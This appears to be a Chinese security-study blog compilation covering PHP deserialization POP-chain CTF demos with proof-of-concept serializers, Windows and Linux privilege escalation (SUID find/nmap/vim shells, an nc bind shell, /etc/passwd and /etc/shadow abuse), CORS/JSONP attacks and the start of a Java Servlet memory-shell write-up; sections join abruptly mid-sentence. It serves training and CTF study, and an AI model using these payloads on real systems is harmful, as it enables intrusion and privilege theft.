    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

?>

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,所以应该传入如下参数

1
v1=ReflectionClass&v2=system("ls")

ReflectionMethod

和ReflectionClass一样

反序列化的防御

因为反序列化的缺陷可能导致远程代码执行等严重的攻击,所以我们需要对其进行防护:

  1. 对传入 unserilize() 的参数,进行严格地过滤。
  2. 在文件系统函数的参数可控时,进行严格地过滤。
  3. 严格检查上传文件内容,不能只是单纯地检查文件头(phar)
  4. 条件允许的情况下,禁用可执行系统命令、代码的危险函数。
  5. 注意不同类中的同名方法的编写,避免被用作反序列化的跳板。
  6. Session方面,一个是多文件间使用一种序列化引擎;二是尽量不要让session可控;三是保持session.upload_progress.cleanup = On (上传完成之后删除session文件)

PHP反序列化之pop链

POP链介绍

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

而构造pop链的要素就是要熟悉类里的成员变量以及魔术方法。关于魔术方法这里不做过多介绍,可以看下https://segmentfault.com/a/1190000007250604这篇文章

反序列化的常见起点

  • __wakeup 一定会调用

  • __destruct 一定会调用

  • __toString 当一个对象被反序列化后又被当做字符串使用

    反序列化的常见中间跳板

  • __toString 当一个对象被当做字符串使用

  • __get 读取不可访问或不存在属性时被调用

  • __set 当给不可访问或不存在属性赋值时被调用

  • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();

    反序列化的常见终点

  • __call 调用不可访问或不存在的方法时被调用

  • call_user_func 一般php代码执行都会选择这里

  • call_user_func_array 一般php代码执行都会选择这里
    这里用三个demo来练习

DEMO1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
//flag is in flag.php
error_reporting(0);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

接下来我们来分析构造POP链的过程,先看最后,get请求传入一个hello参数,然后对他进行反序列化。

  1. 我们要寻找危险的函数,比如这个DEMO中在Read对象中存在一个file_get(0方法,其中用了file_get_contents读文件,我们大概就懂了题目应该是要通过调用这个方法来读取我们的flag.php文件。
  2. 然后我们来观察每个对象的各种魔术方法,入口多为wakeup,destruct,tostring魔术方法中,我们可以发现Show对象中存在一个tostring魔术方法和一个wakeup魔术方法,在执行unserialize函数的时候会先触发wakeup方法
  3. wakeup魔术方法中对Show对象的source属性进行了一个正则匹配,对应的第二个参数本应为字符串,但是这里如果source属性是某个类的对象,就会触发tostring方法,tostring也是Show对象中的魔术方法,所以这里的source属性应为一个Show类的对象。
  4. tostring中,返回了当前对象的键为str的value值给source,如果这个value不存在,可能会触发__get()魔术方法。
  5. 我们接着寻找,发现在Test类中存在着__get()魔术方法,把当前对象的p属性赋给了function变量,并且以函数的形式去执行,所以如果这里的p属性是一个对象的话,就可以能调用__invoke()魔术方法
  6. 发现Read类中存在__invoke()魔术方法,其中调用了本类中的file_get函数,以var作为形参,所以这里的var应该为flag.php
    POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Read {
    public $var="flag.php";
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $p;
}
$R=new Read();
$S=new Show();
$T=new Test();
$T->p=$R;
$S->str['str']=$T;
$S->source=$S;
echo urlencode(serialize($S));

DEMO2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['string'];
unserialize($a);
?>
  1. 拿到代码,先寻找危险函数,发现在GetFlag类中存在get_flag()函数,输出flag,所以我们最终是需要通过调用GetFlag()中的get_flag()函数来输出我们的flag
  2. string1类中的tostring调用了自身str1属性的get_flag()方法,这里可以知道我们需要把string1的类的str1属性的值是GetFlag类的一个对象,并且需要调用到string1类的tostring这个方法才可以输出flag
  3. 继续往上看,func类的invoke魔术方法拼接了”字符串拼接”和自身的mod1属性的值给了自身的mod2属性,这里如果mod1属性的值是string1的对象,会触发string1对象的tostring方法
  4. 如果要触发func的invoke魔术方法,我们需要用函数的方式来调用func对象,这里可以发现funct中call魔术方法中以函数的形式调用了自身的mod1属性,如果这里的mod1属性是func的对象,就会触发func类中的invoke方法
  5. 需要调用到func类中的invoke方法,必须先调用到funct类中的call魔术方法,call魔术方法是要调用了不存在的方法才会触发,可以看到Call类中的test1方法调用了自身mod1属性下的test2方法,这里如果mod1是funct的一个对象,就可以触发funct的call方法
  6. 然后是start_gg类,,destruct魔术方法调用了自身mod1的test1方法,所以这里应该是个入口,我们需要先让他的mod1为Call类的一个对象
    POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new Call();
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new funct();
        }
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();
        }
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __construct()
        {
                $this->str1= new GetFlag();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = new start_gg();
echo urlencode(serialize($a));
?>

DEMO3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
highlight_file(__FILE__);
class A
{
  public $a;
  private $b;
  protected $c;
  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }
  protected function flag()
  {
    echo file_get_contents('/flag');
  }

  public function __call($name, $arguments)
  {
    call_user_func([$name, $arguments[0]]);
  }

  public function __destruct()
  {
    return 'this a:' . $this->a;
  }
  public function __wakeup()
  {
    $this->a = 1;
    $this->b = 2;
    $this->c = 3;
  }
}
class B
{
  public $a;
  private $b;
  protected $c;
  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }
  public function b()
  {
    echo $this->b;
  }
  public function __toString()
  {
    $this->a->a($this->b);
    return 'this is B';
  }
}
if (isset($_GET['str']))
  unserialize($_GET['str']);
  1. 这题比较简单,只有两个类,类A中有读取flag文件的方法flag(),还有wakeup方法,起点基本就是类A
  2. 这里A类里有wakeup魔术方法会对A类下面的属性赋值,所以需要绕过,绕过很简单。属性的数量加1即可,然后destruct魔术方法返回了”this a:”与A类下的属性a的值进行拼接
  3. 如果属性a的值为一个对象,会触发tostring魔术方法,刚好B类中有这个魔术方法,并且调用了B类中的属性A的a方法,如果有call魔术方法会进行调用,恰好A类中有call魔术方法。
  4. call返回了call_user_func()函数,这里我看了半天没看明白,最后的在别的师傅的指导下我看明白了,[arguments[0]]就是arguments[0],也就是说我们如果要调用这个flag,需要name==A,$arguments[0]==flag.构造poc即可
    POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class A
{
  public $a;
  private $b;
  protected $c; 
}
class B
{
  public $a;
  private $b;
  protected $c;
  public function __construct()
  {
    $this->b='flag';
  }
}
$t=new A();
$s=new B();
$s->a=$t;
$t->a=$s;
$p=serialize($t);
$p=str_replace('A":3','A":4',$p);
echo $p;
echo '</br>';
echo urlencode($p);

系统常见命令

参考链接:https://www.cnblogs.com/kekec/p/3662125.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量

具体操作

内核溢出漏洞提权

systeminfo 根据缺失补丁进行判断

提权辅助页面:https://i.hacking8.com/tiquan/

将补丁号输入,查询可利用的 windows 提权

利用 windows-Exploit Suggester 进行检测

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

MS16-032

补丁:KB3139914

exp:https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1

注意这里是 .空格.\xxx.ps1 图片

在弹出来的 cmd 中执行 whoami 发现成功提权

服务权限配置错误

当碰到无法通过内核溢出漏洞来提权的时候可以尝试利用系统中的错误配置来进行提权,例如管理员配置错误,服务器凭证配置错误等

PowerUp

地址:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

注册表键 AlwaysInstallElevated
AlwaysInstallElevated是一个策略设置项,Windows 允许低权限用户以 system 权限运行安装文件,如果开启了这个策略的话那么任何权限的用户都能以 system权限来安装恶意 MSI

当设置了该项之后,注册表的这里会置1

图片

可信服务路径漏洞

简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行

可以利用如下命令来进行检测

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """

令牌窃取

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动

SweetPotato

编译好的版本:https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato

BypassUAC

bypassUAC已经是老生长谈的话题了,用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改

msf 的payload 中有对应的 bypass 模块

什么是权限

在Linux 系统中,ls -al 即可查看列出文件所属的权限

1
2
3
4
drwxr-xr-x  2 kali kali    4096 Jan 27 12:52 Downloads
-rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html
-rw-r--r-- 1 root root 153600 May 5 09:42 flag
lrwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
1
-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt

这里可以分为7个字段。

  • 第一组数据 -rw-r--r--
    第一位:

- : 代表普通文件

d:代表目录

l:代表软链接

b:代表块文件

c:代表字符设备

第二及后面几位,分别三个为一组:

rw-r--r-- 代表文件所属的权限

r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行

  1. rw- 表示文件所拥有者的权限。
  2. r-- 表示文件所在组的用户的权限。
  3. r-- 表示其他组的用户的权限。
  4. 第二组数据 1
    1. 如果文件类型为目录,表示目录下的字目录个数
    2. 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
  5. 第三组数据 root . 表示该文件所有者为root 用户
  6. 第四组数据root. 表示该文件所在组为root 组
  7. 第五组数据56 表示文件的大小为多少字节。如果为一个目录,则为4096。
  8. 第六组数据表示最后一次修改时间
  9. 第七组数据表示文件名称
    如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录。另外对于rwx,我们可以用数字进行替代,r=4,x=1,w=2

前置知识:

常见目录

1
2
3
4
5
6
7
8
9
这里简单说一下比较常见的目录
/bin: 里面存的都是比较基本的系统二进制命令类似 ls rm 等
/etc:其中基本都是文本文件用来设置我们的系统的,例如常见的 /etc/passwd /etc/shadow ,在 /etc/shadow 中用户的账号密码
/proc:并不存在硬盘上而是在内存中,其中记录了系统内核运行的一些信息
/usr/bin:一些应用程序的可执行部分
/usr/local/bin: 本地增加的命令,例如:python pip 等
/var/log:各种程序的日志,之前说的 apache nginx 日志就在这里面
/tmp:存放临时文件
.ssh:id_rsa.pub 公钥,id_rsa 私钥,authorized_keys授权文件,将公钥添加到 authorized_keys 中就可以不利用密码进行连接了, rsa_id.pub 和 id_rsa.pub 一般为 644 ,但是 id_rsa 一定要为 600

提权-信息搜集

要想成功提权,就要进行充分的信息搜集。

提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用

基础信息搜集

内核,操作系统,设备信息

1
2
3
4
5
6
7
uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息

用户和群组

1
2
3
4
5
6
7
cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /etc/group 列出系统上的所有组
whoami 查看当前用户
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息

用户权限信息

1
2
3
4
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

环境信息

1
2
3
4
5
6
7
8
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc

进程和服务

1
2
3
4
ps aux
ps -ef
top
cat /etc/services

查看以root 运行的进程

1
2
ps aux | grep root
ps -ef | grep root

查看安装的软件

1
2
ls -alh /usr/bin/
dpkg -l

日志文件

1
2
3
4
5
6
7
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log

交互式shell

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

可提权SUID && GUID

参考:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

1
2
3
4
5
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

查看可写/执行目录

1
2
3
4
5
6
7
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

具体操作

SUID 提权

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权
P神文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

常见的可用来提权的Linux 可执行文件有:Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提权的可执行文件

1
find / -perm -u=s -type f 2>/dev/null
1
2
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find

find一般用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。比如在DC-1靶机中就能使用find进行提权
图片

绝大部分Linux系统都自带nc,所以也可以用nc进行反弹shell之类的操作

1
find aaa - exec nc -lvp 5555 -e /bin/sh \;
  • nmap
    老版本nmap 具有交互模式,version 2.02~5.21(5.2.0)

namp -V 查看nmap 版本信息

nmap --interactive

图片

MSF中有利用 SUID nmap提权的exp,search nmap后然后利用exploit/unix/local/setuid_nmap 漏洞利用模块即可

5.2.0 之后,nmap 还可以通过执行脚本来提权。

1
2
3
4
5
6
7
# nse 脚本,shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
  • vim
    如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

vim /etc/shadow

vim 运行shell

1
2
3
vim
:set shell=/bin/sh
:shell

同理less和more

内核漏洞

DC-3靶机,就是利用系统内核漏洞来进行提权

图片

searchsploit Ubuntu 16.04

将exp 下载下来,解压,编译,运行,即可get root 权限。

tar xvf exploit.tar

图片

利用root无密码执行

简单来说一个脚本,这个文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。

比如常见的:

  • 写入一个root权限进入/etc/passwd 文件
    以DC-4为例子

图片

teehee -a 将输入的内容追加到另一个文件中

简单说下/etc/passwd 各个字段的含义

1
username:password:User ID:Group ID:comment:home directory:shell

利用环境变量提权

PATH 是Linux中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

图片

如果你在PATH变量中看到.,则意味着登录用户可以从当前目录执行二进制文件/脚本

1
2
3
4
5
6
7
8
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /etc/passwd");
}
// aaa.c

图片

然后查看它的权限可以发现是有s 位,即suid。

现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null 来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面

WEB前端中最常见的两种漏洞,XSS与CSRF,XSS,即跨站脚本攻击、CSRF即跨站请求伪造,这两者都有跨站,站顾名思义就是网站,而把这个概念扩大就是域。两者属于跨域安全攻击

一、 域

域,即域名对应的站点。不同的域名对应的不同的网站,相同的域名不同的端口也对应的不同的网站,因此域,从字面意思以及实际意思在web中代表的是网站

二、同源策略(SOP)

同源策略限制了从同一个源加载的资源如何与另一个源内的资源进行交互,该策略旨在阻止隔离恶意文件交互。具体表现为浏览器只允许请求当前域的资源,而对其他域的资源表示不信任。那怎么才算跨域呢?

  1. 请求协议http,https的不同
  2. domain的不同
  3. 端口port的不同

    三、跨域

跨域就如字面意思一样,跨过不同域之间的限制进行信息交互,其本质就是绕过同源策略的严格限制。究其根本是因为开发功能性与安全性会有一定的矛盾,例如有时候父域名下的不同子域名需要进行信息交互,如果还要进行同源限制,未必就有点不合时宜,所以就产生了一些跨域交流的技术。

四、跨域技术

跨域,从一个域到另一个域将其归为跨域。大致将其归结为两种情况:

1、跨域请求

2、跨域跳转

五、跨域威胁

常见的跨域威胁方面大概可分为JSONp或者Cors这两者

Cors 全称是”跨域资源共享”(Cross-origin resource sharing),具体作用就跟名字一样,主要用于跨域的资源共享信息交互。在了解具体流程时,先了解点前置知识。

  1. 简单请求:

1): 请求方式只能是:headgetpost

2): 请求头允许的字段:AcceptAccept-LanguageContent-LanguageLast-Event-IDContent-Type:application/x-www-form-urlencoded、multipart/form-data、text/plain 三选一

2.复杂请求:不满足上面的都是复杂请求

Cors可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象

简单请求:

当我们向一个不同域的网页发起简单请求时,浏览器会先对这个请求进行校对,会对请求头添加一个origin字段(谷歌游览器在非跨域情况下,也会发送origin字段)

图片

(字段里为当前域)

然后服务器对该请求进行检测,若符合要求,就能放行

图片

其中,Access-Control-Allow-Origin标识允许哪个域的请求。如果服务器不通过,根本没有这个字段,接着触发XHRonerror,再接着你就看到浏览器的提示xxx的服务器没有响应Access-Control-Allow-Origin字段

1
2
3
4
//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法(*,指定域,动态设置),3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息(cookies),该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'

上面说到的Access-Control-Allow-Origin有多种设置方法:

  1. 设置*是最简单粗暴的,但是服务器出于安全考虑,肯定不会这么干,而且,如果是*的话,游览器将不会发送cookies,即使你的XHR设置了withCredentials
  2. 指定域,如上图中的http://172.20.0.206,一般的系统中间都有一个nginx,所以推荐这种
  3. 动态设置为请求域,多人协作时,多个前端对接一个后台
    withCredentials:表示XHR是否接收cookies和发送cookies,也就是说如果该值是false,响应头的Set-Cookie,浏览器也不会理,并且即使有目标站点的cookies,浏览器也不会发送

复杂请求:

最常见的情况,当我们使用putdelete请求时,浏览器会先发送option(预检)请求

预检请求

与简单请求不同的是,option请求多了2个字段:

Access-Control-Request-Method:该次请求的请求方式

Access-Control-Request-Headers:该次请求的自定义请求头字段,服务器检查通过后,做出响应:

1
2
3
4
5
6
7
8
9
10
//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法(*,指定域,动态设置),3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息(cookies),该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'
//预检结果缓存时间,也就是上面说到的缓存啦
'Access-Control-Max-Age: 1800'
//允许的请求类型
'Access-Control-Allow-Methods:GET,POST,PUT,POST'
//允许的请求头字段
'Access-Control-Allow-Headers:x-requested-with,content-type'

这里有个注意点:Access-Control-Request-MethodAccess-Control-Request-Headers返回的是满足服务器要求的所有请求方式,请求头,不限于该次请求 实际案例:
以一加官网为例

登陆后,访问个人信息,然后利用burpsuite抓包,修改origin的域,发现任意域都可以被服务器接受

图片

构造exp

图片

成功利用

JSONp,全称是(JSON with Padding)。是一种简单的服务器与客户端跨域通信的办法,此种跨域只能发起GET请求。其基本思想是网页通过添加一个script元素,向服务器请求JSON数据,这种做法不受同源策略限制。服务器收到请求后,将数据放在一个指定名字的回调函数里传回来

原理:通过script标签引入一个js文件,这个js文件载入成功后会执行我们在url参数中指定的函数,并且会把我们需要的json数据作为参数传入

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}

window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
console.log('Your public IP address is: ' + data.ip);
};
1
2
3
4
5
6
7
8
<script src="http://example.com/data.php?callback=dosomething"></script>

<script type="text/javascript">
function dosomething(jsondata){
//处理获得的json数据
}
</script>

jquery用法

1
2
3
4
5
<script type="text/javascript">
$.getJSON('http://example.com/data.php?callback=?,function(jsondata)'){
//处理获得的json数据
};
</script>

JSONP的优缺点
优点:它不像XMLHttpRequest对象实现的Ajax请求那样受到同源策略的限制;它的兼容性更好,在更加古老的浏览器中都可以运行,不需要XMLHttpRequest或ActiveX的支持;并且在请求完毕后可以通过调用callback的方式回传结果。

缺点:它只支持GET请求而不支持POST等其它类型的HTTP请求;它只支持跨域HTTP请求这种情况,不能解决不同域的两个页面之间如何进行JavaScript调用的问题

jsonp实现流程

1、服务端必须支持jsonp,且拥有jsonp跨域接口(前提)

2、浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据

3、创建一个

之前入门先把Filter类型的内存马弄了下,把Servlet的也搞下

Servlet Demo

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用)

图片

其中主要的逻辑是在Service里实现,自己随便写点

图片

其中,对应的web.xml如下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--Demo-->
<servlet>
    <servlet-name>servletDemo</servlet-name>
    <servlet-class>com.java.Memory.ServletDemo</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>WEB-INF/dispatcher-servlet.xml</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>servletDemo</servlet-name>
    <url-pattern>/servlet</url-pattern>
</servlet-mapping>

注入Servlet

从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:

图片

之前在Filter篇讲过Container里的四大组件分别为Engine.Host.Context和Wrapper

根据文档可知:

Engine,实现类为 org.apache.catalina.core.StandardEngine

Host,实现类为 org.apache.catalina.core.StandardHost

Context,实现类为 org.apache.catalina.core.StandardContext

Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

这里提个小插曲,针对于javaweb的三大件Listener.Servlet,Filter

这三者的启动顺序是Listener->Filter->Servlet

Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)

Servlet 生成与配置

如何创建一个Wapper,并配置好Servlet进行动态添加呢?

首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象

图片

前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点

图片

图片

追溯到上一级configureStart,开始配置webconfig:

图片

webConfig() 中读取了 web.xml

图片

然后根据 web.xml 配置 context

图片

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分

图片

图片

